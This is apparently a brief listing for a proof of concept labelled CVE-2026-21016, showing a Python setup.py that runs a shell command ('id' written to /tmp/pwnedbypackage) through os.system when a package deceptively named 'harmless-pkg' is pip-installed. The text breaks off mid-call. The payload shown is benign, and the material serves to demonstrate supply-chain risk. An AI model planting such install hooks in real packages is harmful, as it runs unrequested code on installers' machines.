CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Malicious PyPI Package Install Hook setup.py Execution Program Code Python setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg', version='1.0',...